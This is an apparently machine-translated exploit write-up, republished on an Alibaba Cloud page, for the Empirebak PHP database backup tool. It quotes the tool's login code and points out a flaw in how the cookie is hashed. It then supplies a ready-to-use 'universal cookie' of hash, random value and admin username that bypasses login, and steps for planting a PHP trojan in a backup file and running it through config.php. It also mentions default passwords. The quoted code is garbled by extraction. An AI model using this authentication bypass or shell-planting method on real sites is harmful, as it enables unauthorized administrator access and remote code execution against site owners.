Imperial Backup King (Empirebak) Universal cookie and pick-up shell

Source: Internet
Author: User

1. Fake Cookie Login system (in fact, this step is redundant, most users do not change the password, are the default 123456)

Login successfully set 4 cookies, see Code

functionLogin$lusername,$lpassword,$key,$lifetime=0) {Global $set _username,$set _password,$set _loginauth,$set _loginkey;if(Empty($lusername)||Empty($lpassword) {Printerror ("Emptyloginuser", "index.php"); }//captcha if (! $set _loginkey) {if ($key <>getcvar (' Checkkey ') | |    Empty ($key)) {printerror ("Failloginkey", "index.php"); }} if (MD5 ($lusername) <>md5 ($set _username) | |    MD5 ($lpassword) <> $set _password) {printerror ("Erroruser", "index.php"); }//Authentication code if ($set _loginauth&& $set _loginauth!=$_post[' Loginauth ') {printerror ("Errorloginauth", "INDEX.P    HP ");    } $logintime =time ();    $rnd =make_password (12);//Generate Random characters $s 1=esetcookie ("bakusername", $lusername, 0);    $s 2=esetcookie ("bakrnd", $rnd, 0);//random character $s 3=esetcookie ("baklogintime", $logintime, 0); Ebak_scookiernd ($lusername, $rnd);//if (! $s 1| |!    $s 2) {printerror ("Notopencookie", "index.php");    } printerror ("Loginsuccess", "admin.php"); } 

And look at the Make_password function.

functionMake_password ($PW _length){$low _ascii_bound= 50;$upper _ascii_bound= 122;$notuse=Array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111); while($i<$PW _length)    {Mt_srand((Double)Microtime() *1000000);$randnum=Mt_rand($low _ascii_bound,$upper _ascii_bound);if(!In_array($randnum,$notuse))    {$password 1=$password 1.CHR($randnum);$i++; }    }return $password 1; }

This function simply generates a random number and then looks at the EBAK_SCOOKIERND function

function Ebak_scookiernd ($username,$rnd) {    global$set _loginrnd;   $set _loginrnd for config.php inside the verification random code    $ckpass =MD5 (MD5 ($rnd. $set _loginrnd). ' -'. $rnd. '-' $username. ' -');//did not add the password in, so the loophole produced    Esetcookie ("Loginebakckpass", $ckpass, 0    );

The following is a universal cookie (Key:value):

Ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6    ebak_bakrnd:35y5ccnna4kh    ebak_bakusername: Admin    

Direct access to admin.php with the above cookie

2. Take the shell

Background parameter settings are generally set up, if you cannot connect to the database, you can fill in the database settings of their own remote database backup data, to find a database backup,

Then, in the contents of the replacement directory file, select the database you just backed up,

Will

"$b _table="
Replaced by

"Phpinfo ();//or write your words on a Trojan horse

$b _table= "

Access the/config.php of that directory ~

Imperial Backup King (Empirebak) Universal cookie and pick-up shell

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.